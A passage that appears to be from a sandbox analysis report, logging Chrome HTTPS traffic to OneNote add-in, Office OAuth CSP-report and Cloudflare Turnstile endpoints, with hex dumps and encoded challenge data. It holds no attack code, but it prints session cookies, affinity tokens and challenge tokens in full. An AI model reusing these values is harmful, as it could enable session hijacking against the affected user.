2024-10-25 08:19:33 UTC	9688	IN	Data Raw: 4f 66 66 69 63 65 2e 50 6c 61 74 66 6f 72 6d 54 79 70 65 2e 4f 66 66 69 63 65 4f 6e 6c 69 6e 65 29 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e 64 50 6f 69 6e 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 2e 67 65 74 49 64 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 Data Ascii: Office.PlatformType.OfficeOnline)&&"object"==typeof OSF&&"function"==typeof OSF.getClientEndPoint&&"object"==typeof OSF._OfficeAppFactory&&"function"==typeof OSF._OfficeAppFactory.getId&&"object"==typeof OSF.AgaveHostAction&&"number"==typeof OSF.AgaveHost

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50077	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:32 UTC	366	OUT	GET /officeaddins/RemoteUls.ashx HTTP/1.1 Host: www.onenote.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:32 UTC	1171	IN	HTTP/1.1 500 Date: Fri, 25 Oct 2024 08:19:32 GMT Content-Type: text/html Content-Length: 1208 Connection: close Cache-Control: private X-RoutingOfficeCluster: wus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_1 X-RoutingOfficeVersion: 16.0.18218.40454 X-RoutingSessionId: ec823ec2-30e2-4cbf-a2b2-7856243e0b87 X-RoutingCorrelationId: 0eec8075-20d1-4ef5-aee4-26d706f5ea6d P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" x-correlationid: 0eec8075-20d1-4ef5-aee4-26d706f5ea6d x-usersessionid: ec823ec2-30e2-4cbf-a2b2-7856243e0b87 x-officefe: AgavesFrontEnd_IN_2 x-officeversion: 16.0.18218.40453 x-officecluster: wus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-buls-suppressionetag: N/A x-buls-suppressedtags: x-invalidulsjson: x-content-type-options: nosniff x-download-options: noopen content-disposition: attachment x-content-type-options: nosniff x-azure-ref: 20241025T081932Z-16849878b787wpl5wqkt5731b4000000012g0000000036uf X-Cache: CONFIG_NOCACHE
2024-10-25 08:19:32 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50082	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:33 UTC	1111	OUT	POST /oa/reportcsp.ashx HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive Content-Length: 1685 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://oauth.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; PUS11-ARRAffinity=9ea258528c12fc9b9a93ce6660789fc58d2ad73c9d536bd62f098877fcbfb31c; PUS6-ARRAffinity=14f6d01ec2e9966e974e910c6bbc40255f62304a612c443695baac782fee4c3b
2024-10-25 08:19:33 UTC	1685	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 61 75 74 68 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 6f 61 2f 57 61 63 4f 41 75 74 68 2e 61 73 70 78 3f 72 65 70 6c 79 55 72 6c 3d 68 74 74 70 73 3a 2f 2f 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 26 75 73 69 64 3d 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 26 57 61 63 55 73 65 72 54 79 70 65 3d 57 4f 50 49 26 73 76 3d 31 26 6d 73 61 6c 76 33 3d 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 22 2c 22 76 69 6f Data Ascii: {"csp-report":{"document-uri":"https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1","referrer":"https://onenote.officeapps.live.com/","vio
2024-10-25 08:19:34 UTC	1021	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: fbfa0057-d9c1-4fe0-bdb6-a347c10d94cb X-UserSessionId: fbfa0057-d9c1-4fe0-bdb6-a347c10d94cb Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00017D6A X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017AF5 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 9EDC8FF757DF484B8693B6362EFB9A68 Ref B: DFW311000107011 Ref C: 2024-10-25T08:19:33Z Date: Fri, 25 Oct 2024 08:19:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50083	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:33 UTC	1149	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/108716333:1729840349:MNYBExQDb_OXX_5iH2pcoBn0kfPmYx9lZzGMR5dM-_8/8d80c836df1d4755/9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3148 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:33 UTC	3148	OUT	Data Raw: 76 5f 38 64 38 30 63 38 33 36 64 66 31 64 34 37 35 35 3d 64 37 44 67 6a 67 68 67 62 67 79 67 78 67 30 36 76 74 36 54 76 4e 67 53 77 24 50 6b 72 76 4f 76 48 4a 67 74 65 67 76 61 44 76 73 67 4e 50 25 32 62 43 76 52 67 2b 77 50 67 54 72 4e 44 76 72 67 33 37 72 2b 4b 76 64 36 56 76 53 43 32 42 67 33 64 65 78 34 6b 67 76 41 51 32 44 76 30 76 24 65 41 32 76 6e 6c 65 76 6d 42 43 44 4f 35 54 57 30 67 6b 37 6b 76 68 32 50 33 73 76 6b 65 76 73 6b 6c 30 6e 45 41 67 50 79 5a 24 38 38 67 4b 67 79 4d 65 49 76 2b 4d 76 4f 77 50 38 73 6e 61 76 4f 65 76 43 34 6e 44 62 30 50 36 2b 4d 65 76 35 6b 79 72 57 2b 53 6a 2d 54 76 76 77 59 74 37 4f 6a 67 76 53 38 77 76 42 67 2b 58 76 44 74 65 44 2d 6e 45 41 76 76 62 4f 62 48 78 4e 51 68 49 78 4e 4e 64 44 38 4b 6a 76 4f 73 5a 76 53 Data Ascii: v_8d80c836df1d4755=d7Dgjghgbgygxg06vt6TvNgSw$PkrvOvHJgtegvaDvsgNP%2bCvRg+wPgTrNDvrg37r+Kvd6VvSC2Bg3dex4kgvAQ2Dv0v$eA2vnlevmBCDO5TW0gk7kvh2P3svkevskl0nEAgPyZ$88gKgyMeIv+MvOwP8snavOevC4nDb0P6+Mev5kyrW+Sj-TvvwYt7OjgvS8wvBg+XvDteD-nEAvvbObHxNQhIxNNdD8KjvOsZvS
2024-10-25 08:19:34 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:34 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149696 Connection: close cf-chl-gen: mSiZBDZ+hvzWSF82iY7Qg8rcfDb8Pl3h8kdtkLY9cc0adDR8y7dDyfa73Auh6NrDdXCqHWmbRAEH3SaTeS7Php0p7OaOQwMtzHIQcfTg02LPuiV9XpBaaAp18ks9Sm82McXCFFJA6inBJ8um35C4r7+nhQzV1WlJ7ZebDJ95t65cY4FJEHHOOlp8cs3louLBhvAM8vtB8lykEYlukK8F3C/4bvdKLqw32yyx6EC2hk5dCfIsPi7IfrOisMkSA1WAhgpTo5YQ9pEl9mcI4gVh6l1Keh4kJqr2oHmnmIrhTVHmM49tXnErzo/YNM8K1wqaYhOagks3hY2AHEqP2LFvXB+e2oRNkCk963aRgcNYneZjRnCRjbfcv7vdGz6KVMSid3qv7U/ptbQfFKzxyz2G1iMokzvVQmDJJusgf8m3e3l8qhmPnfJ2ZCs9M/N9byMJU0nJipymAWSrIhLSlsJIrvyXZTnjHlaHhSK3mYXOwPLSNzY=$SC2B4Qw35MOl7KFl Server: cloudflare CF-RAY: 8d80c849f847477b-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:34 UTC	622	IN	Data Raw: 63 31 2b 41 57 57 32 51 68 6b 74 6f 62 57 56 4e 5a 32 57 49 59 6c 4f 45 55 6d 57 65 6d 57 2b 43 6c 6f 79 52 59 48 4b 44 61 4a 2b 42 59 70 65 4d 6d 35 32 6a 61 6f 69 49 68 6f 71 78 64 59 4b 75 6b 36 57 76 65 5a 53 55 6c 73 4b 31 66 72 79 62 78 71 61 32 68 49 48 45 6e 58 2b 39 75 4b 57 68 30 72 4c 4f 6b 49 37 4e 77 4b 58 4d 75 39 53 32 7a 74 53 53 72 39 61 69 31 36 4b 38 76 4d 4c 59 33 63 7a 63 33 4f 48 50 72 63 76 6f 31 4d 4c 44 35 76 48 72 38 39 44 51 79 73 37 31 2b 4e 6f 41 38 38 2f 6a 31 75 38 4a 2b 65 48 39 37 4e 72 6c 2f 66 44 65 36 77 66 46 42 50 62 77 43 68 54 5a 37 78 30 50 47 76 59 55 47 76 37 37 38 76 6a 39 2f 41 50 78 35 42 34 58 49 67 6a 6c 47 77 77 52 36 54 41 75 44 44 6a 32 46 77 73 6b 4b 67 30 33 4d 68 77 61 51 78 41 54 4e 66 63 6b 51 45 67 Data Ascii: c1+AWW2QhktobWVNZ2WIYlOEUmWemW+CloyRYHKDaJ+BYpeMm52jaoiIhoqxdYKuk6WveZSUlsK1frybxqa2hIHEnX+9uKWh0rLOkI7NwKXMu9S2ztSSr9ai16K8vMLY3czc3OHPrcvo1MLD5vHr89DQys71+NoA88/j1u8J+eH97Nrl/fDe6wfFBPbwChTZ7x0PGvYUGv778vj9/APx5B4XIgjlGwwR6TAuDDj2FwskKg03MhwaQxATNfckQEg
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 46 58 4b 46 46 62 4e 45 45 39 4e 6d 42 6f 52 31 77 6d 4a 45 35 4d 52 57 4d 73 54 43 74 6d 56 6d 35 67 63 7a 52 7a 54 47 5a 34 66 56 61 42 57 30 74 38 62 49 46 77 5a 6c 74 52 52 32 42 69 57 6f 79 4a 68 45 32 4e 55 6f 64 6a 6b 32 39 53 56 70 69 46 6a 6f 61 64 66 59 75 66 64 6d 32 67 63 47 56 65 6d 48 69 5a 71 5a 32 5a 5a 6d 68 6d 72 6f 47 54 63 59 43 6e 70 49 71 4a 6a 37 75 4a 75 6f 64 31 71 35 74 34 6a 61 4b 6b 77 61 47 33 66 37 31 39 6d 63 47 37 79 61 6e 51 76 59 57 74 71 4e 4b 55 72 38 6e 47 78 73 71 78 7a 4e 44 42 73 4e 6e 53 78 5a 36 6d 35 39 58 44 35 63 6e 6d 32 4d 44 58 33 71 50 53 36 37 32 74 31 2b 2f 53 77 74 76 7a 31 76 7a 66 39 39 66 4b 34 2f 76 62 42 65 63 41 34 4f 4c 72 42 4f 54 38 37 77 6a 74 32 76 4d 4d 38 65 37 33 45 50 55 4a 2b 78 54 35 31 Data Ascii: FXKFFbNEE9NmBoR1wmJE5MRWMsTCtmVm5gczRzTGZ4fVaBW0t8bIFwZltRR2BiWoyJhE2NUodjk29SVpiFjoadfYufdm2gcGVemHiZqZ2ZZmhmroGTcYCnpIqJj7uJuod1q5t4jaKkwaG3f719mcG7yanQvYWtqNKUr8nGxsqxzNDBsNnSxZ6m59XD5cnm2MDX3qPS672t1+/Swtvz1vzf99fK4/vbBecA4OLrBOT87wjt2vMM8e73EPUJ+xT51
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 58 55 56 74 44 4e 6d 6f 2b 51 79 70 73 56 79 31 6f 58 45 78 50 62 6b 56 76 54 6d 68 48 53 58 52 7a 55 56 31 6f 64 46 70 68 62 48 68 69 5a 58 42 38 61 6d 6c 30 67 48 6c 72 62 59 47 48 66 32 36 4b 68 32 56 7a 64 6e 75 54 6c 31 78 62 62 4b 42 72 69 70 5a 67 6f 34 61 61 69 5a 2b 4b 6e 6f 32 4e 6a 71 4b 52 67 5a 4b 6d 6e 71 75 57 71 71 4b 5a 6d 71 36 6c 65 4a 36 79 71 5a 47 69 74 72 44 45 6f 4d 58 47 71 73 6d 61 68 63 37 50 6d 34 79 50 30 36 33 50 71 4e 65 79 71 5a 58 59 72 4b 71 31 6c 62 4f 76 74 39 44 4c 73 4c 79 64 73 4d 4b 37 75 63 71 6b 77 63 58 68 37 65 4c 50 78 4e 47 31 33 75 72 73 30 4c 62 49 2b 2b 37 74 79 74 66 7a 2b 67 58 68 37 64 58 39 76 74 67 47 77 75 77 4b 42 4f 37 59 36 2f 48 6b 2f 41 63 49 39 77 6a 71 46 2b 73 50 2f 64 63 4a 47 77 50 38 39 78 Data Ascii: XUVtDNmo+QypsVy1oXExPbkVvTmhHSXRzUV1odFphbHhiZXB8aml0gHlrbYGHf26Kh2VzdnuTl1xbbKBripZgo4aaiZ+Kno2NjqKRgZKmnquWqqKZmq6leJ6yqZGitrDEoMXGqsmahc7Pm4yP063PqNeyqZXYrKq1lbOvt9DLsLydsMK7ucqkwcXh7eLPxNG13urs0LbI++7tytfz+gXh7dX9vtgGwuwKBO7Y6/Hk/AcI9wjqF+sP/dcJGwP89x
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 56 47 42 47 54 56 68 6b 54 6c 46 63 61 46 5a 56 59 47 78 6c 56 31 6c 74 63 32 74 61 64 6e 4e 52 58 32 4a 6e 66 34 4e 49 67 45 4e 34 58 6d 2b 43 59 56 42 79 68 6e 57 4c 64 6f 70 35 65 58 71 4f 66 57 31 2b 6b 6f 71 57 66 48 4f 51 58 32 2b 53 6c 6f 42 39 6c 4b 79 49 61 49 32 6e 68 4b 56 6c 67 61 6d 69 69 4b 4b 36 71 35 4f 75 6a 36 61 39 76 4c 69 75 74 35 36 64 75 5a 65 59 76 62 53 72 67 72 2b 49 6e 61 61 64 70 70 4b 47 77 70 57 7a 30 71 4f 36 70 39 69 62 75 63 2f 54 6e 5a 75 75 6f 2b 44 6a 75 4c 2b 70 30 75 44 6f 7a 4b 58 4e 30 64 48 6c 38 38 72 4b 79 4d 6e 71 38 4c 66 4a 31 75 76 78 7a 39 44 66 34 75 4f 36 39 37 37 62 2b 74 48 71 33 77 34 44 44 65 33 38 32 65 6e 53 41 4f 77 42 39 41 2f 31 35 67 51 4a 45 65 37 74 47 52 6e 39 41 67 30 5a 41 77 59 52 48 51 77 Data Ascii: VGBGTVhkTlFcaFZVYGxlV1ltc2tadnNRX2Jnf4NIgEN4Xm+CYVByhnWLdop5eXqOfW1+koqWfHOQX2+SloB9lKyIaI2nhKVlgamiiKK6q5Ouj6a9vLiut56duZeYvbSrgr+InaadppKGwpWz0qO6p9ibuc/TnZuuo+DjuL+p0uDozKXN0dHl88rKyMnq8LfJ1uvxz9Df4uO6977b+tHq3w4DDe382enSAOwB9A/15gQJEe7tGRn9Ag0ZAwYRHQw
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 32 6c 43 5a 45 46 79 59 58 56 69 54 32 78 59 4e 46 31 33 54 33 41 31 58 48 59 38 50 6c 78 44 68 55 4a 36 53 47 4a 35 62 47 57 48 55 30 71 48 68 6f 5a 51 63 49 74 35 6d 6c 78 32 57 6c 79 42 66 4b 52 63 66 4a 69 6a 70 47 52 63 69 47 79 61 67 35 64 2f 66 4b 43 41 6b 36 57 6e 67 4b 61 76 74 6f 4f 73 6e 72 56 78 6b 71 75 4b 6d 5a 61 30 76 4c 47 65 6b 61 65 33 6d 4c 37 47 6e 4a 6d 63 7a 62 75 4c 6f 70 48 51 71 4a 57 6f 6c 71 2f 48 70 73 36 7a 6d 37 57 2f 74 72 4c 52 32 4c 66 62 6e 4c 50 4b 76 38 44 63 78 38 79 38 36 71 76 6d 36 50 6a 51 37 66 48 4d 31 74 62 39 39 4d 37 4a 7a 39 63 45 39 76 48 53 34 75 4c 6c 39 4f 6e 75 7a 4f 6e 43 37 65 37 66 36 73 30 4f 31 41 2f 59 43 2b 6e 62 32 51 30 61 46 64 33 73 48 52 50 6a 4b 41 45 45 34 75 49 6f 4a 77 2f 33 36 77 58 72 Data Ascii: 2lCZEFyYXViT2xYNF13T3A1XHY8PlxDhUJ6SGJ5bGWHU0qHhoZQcIt5mlx2WlyBfKRcfJijpGRciGyag5d/fKCAk6WngKavtoOsnrVxkquKmZa0vLGekae3mL7GnJmczbuLopHQqJWolq/Hps6zm7W/trLR2LfbnLPKv8Dcx8y86qvm6PjQ7fHM1tb99M7Jz9cE9vHS4uLl9OnuzOnC7e7f6s0O1A/YC+nb2Q0aFd3sHRPjKAEE4uIoJw/36wXr
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 78 46 52 48 6c 4c 62 6c 64 78 59 44 77 31 58 6c 64 56 65 54 70 66 59 57 70 49 6a 6d 39 67 5a 31 47 4f 69 35 42 31 58 32 42 34 61 59 32 62 63 6e 4a 34 62 5a 52 63 66 49 4f 57 68 59 43 43 6d 32 56 30 69 4b 43 75 6f 57 39 39 70 5a 71 45 6e 71 61 6e 6b 4b 70 31 74 70 61 75 6e 5a 64 31 6c 71 47 4b 72 4b 57 36 75 59 65 56 76 61 53 63 74 72 36 2f 72 73 44 49 6f 4d 62 45 79 37 43 75 79 71 72 50 72 4d 61 6c 72 70 76 4e 6e 37 4c 43 6f 63 62 48 35 63 57 6b 36 4b 50 70 35 73 2f 46 78 4e 75 74 38 74 7a 6d 37 4d 50 52 38 66 4c 59 74 50 48 31 33 63 33 31 2b 65 4c 68 30 75 62 2b 77 76 73 43 78 67 77 41 78 75 33 34 43 2f 77 44 44 51 4c 75 36 65 33 34 42 2f 6e 39 39 77 6a 74 38 51 41 42 38 66 55 45 41 66 58 35 43 66 7a 35 2f 51 33 37 44 53 59 75 49 66 77 56 45 67 2f 32 45 Data Ascii: xFRHlLbldxYDw1XldVeTpfYWpIjm9gZ1GOi5B1X2B4aY2bcnJ4bZRcfIOWhYCCm2V0iKCuoW99pZqEnqankKp1tpaunZd1lqGKrKW6uYeVvaSctr6/rsDIoMbEy7CuyqrPrMalrpvNn7LCocbH5cWk6KPp5s/FxNut8tzm7MPR8fLYtPH13c31+eLh0ub+wvsCxgwAxu34C/wDDQLu6e34B/n99wjt8QAB8fUEAfX5Cfz5/Q37DSYuIfwVEg/2E
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 4d 56 7a 71 41 51 48 75 47 57 46 2b 45 63 6e 35 30 57 45 70 5a 5a 34 35 71 69 34 42 50 59 5a 61 51 69 4a 6c 30 55 32 61 63 64 57 78 35 57 47 4e 78 58 4a 61 57 59 49 43 62 69 61 70 73 68 6d 70 73 6b 5a 43 72 62 4b 4b 6f 74 72 52 30 65 6e 75 30 6c 4a 4f 6e 6a 34 79 73 6b 4b 53 66 74 35 43 32 76 38 61 54 76 4b 37 46 67 61 4b 36 6b 61 6d 6c 72 73 7a 42 72 64 65 33 79 71 6a 4f 31 71 79 70 76 4e 33 41 31 4d 43 63 78 64 32 38 33 61 75 35 34 63 7a 6c 78 2b 4f 36 73 38 2f 52 78 73 65 7a 38 74 54 49 39 38 33 4c 74 38 72 64 7a 4d 7a 36 30 66 6b 48 33 74 37 6b 32 51 48 49 36 4f 38 44 38 65 7a 75 43 4e 48 67 39 41 30 62 44 77 54 70 45 76 76 35 2b 2f 7a 32 46 51 49 61 35 68 6f 53 4a 77 4c 33 4b 65 6f 6e 4a 43 44 6f 37 44 45 4a 44 77 4c 7a 43 67 6b 72 47 44 77 35 50 41 Data Ascii: MVzqAQHuGWF+Ecn50WEpZZ45qi4BPYZaQiJl0U2acdWx5WGNxXJaWYICbiapshmpskZCrbKKotrR0enu0lJOnj4yskKSft5C2v8aTvK7FgaK6kamlrszBrde3yqjO1qypvN3A1MCcxd283au54czlx+O6s8/Rxsez8tTI983Lt8rdzMz60fkH3t7k2QHI6O8D8ezuCNHg9A0bDwTpEvv5+/z2FQIa5hoSJwL3KeonJCDo7DEJDwLzCgkrGDw5PA
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 5a 58 42 38 61 32 64 70 66 58 64 37 61 6f 5a 38 54 46 47 51 68 59 75 5a 68 48 75 54 6c 35 35 34 62 34 71 56 58 6f 36 53 5a 4a 53 57 68 58 69 5a 69 59 52 6b 69 47 71 47 6a 49 57 4d 62 4a 47 54 73 34 57 7a 72 48 74 31 6a 34 2b 51 71 71 2b 53 76 49 36 68 74 4c 61 70 75 4c 74 39 70 37 65 75 69 71 69 4a 6e 63 65 4b 31 4c 44 59 71 63 65 30 6d 64 53 30 33 72 36 37 7a 65 48 5a 73 4f 4c 59 32 63 44 64 79 37 7a 47 74 37 66 74 76 73 69 75 79 4d 2f 47 79 73 58 44 7a 62 61 78 79 66 4c 73 79 73 7a 4f 32 4f 7a 52 37 64 58 68 75 75 58 6d 32 4f 4c 46 36 38 76 6b 37 65 4d 4e 41 66 54 52 39 66 6e 34 44 74 48 70 45 76 6a 77 43 79 44 79 48 66 6f 46 34 51 59 4b 35 42 34 74 41 77 4d 42 37 53 77 61 48 7a 49 50 46 78 51 4c 49 68 4d 6c 39 78 48 33 4c 78 2f 79 50 6a 77 34 52 44 4d Data Ascii: ZXB8a2dpfXd7aoZ8TFGQhYuZhHuTl554b4qVXo6SZJSWhXiZiYRkiGqGjIWMbJGTs4WzrHt1j4+Qqq+SvI6htLapuLt9p7euiqiJnceK1LDYqce0mdS03r67zeHZsOLY2cDdy7zGt7ftvsiuyM/GysXDzbaxyfLsyszO2OzR7dXhuuXm2OLF68vk7eMNAfTR9fn4DtHpEvjwCyDyHfoF4QYK5B4tAwMB7SwaHzIPFxQLIhMl9xH3Lx/yPjw4RDM
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 57 75 50 65 31 2b 46 54 48 36 4b 59 35 57 42 55 6c 68 6e 57 70 61 61 6c 48 71 4b 69 6f 36 52 6f 6e 6d 50 66 6f 4f 44 5a 70 35 74 71 33 39 6f 63 59 53 45 6e 71 79 46 69 4b 4b 45 71 35 61 73 73 33 75 57 72 35 79 32 69 35 79 6b 6b 48 33 42 6f 72 4f 2b 76 38 4b 5a 71 4c 47 4a 7a 61 43 71 70 61 57 78 72 36 4b 6e 70 5a 54 53 79 4b 71 72 79 71 2f 51 6f 72 62 69 74 4c 4b 38 77 4e 57 70 74 75 54 48 72 73 2b 6f 35 2b 58 46 36 4b 6d 77 38 64 66 78 30 2b 2f 4f 73 63 44 4c 76 73 48 73 33 66 37 6f 31 39 62 5a 31 39 76 56 79 65 6a 62 78 38 6e 65 37 75 66 6c 38 38 72 75 42 4f 59 63 36 42 41 54 45 41 72 67 41 64 59 42 39 4f 55 61 35 75 72 7a 36 2b 55 6c 47 67 59 77 45 43 4d 48 43 67 55 43 4b 66 51 46 44 54 45 7a 2b 54 63 2b 51 50 30 33 45 7a 56 46 41 68 49 6f 46 79 59 6a Data Ascii: WuPe1+FTH6KY5WBUlhnWpaalHqKio6RonmPfoODZp5tq39ocYSEnqyFiKKEq5ass3uWr5y2i5ykkH3BorO+v8KZqLGJzaCqpaWxr6KnpZTSyKqryq/QorbitLK8wNWptuTHrs+o5+XF6Kmw8dfx0+/OscDLvsHs3f7o19bZ19vVyejbx8ne7ufl88ruBOYc6BATEArgAdYB9OUa5urz6+UlGgYwECMHCgUCKfQFDTEz+Tc+QP03EzVFAhIoFyYj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50084	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
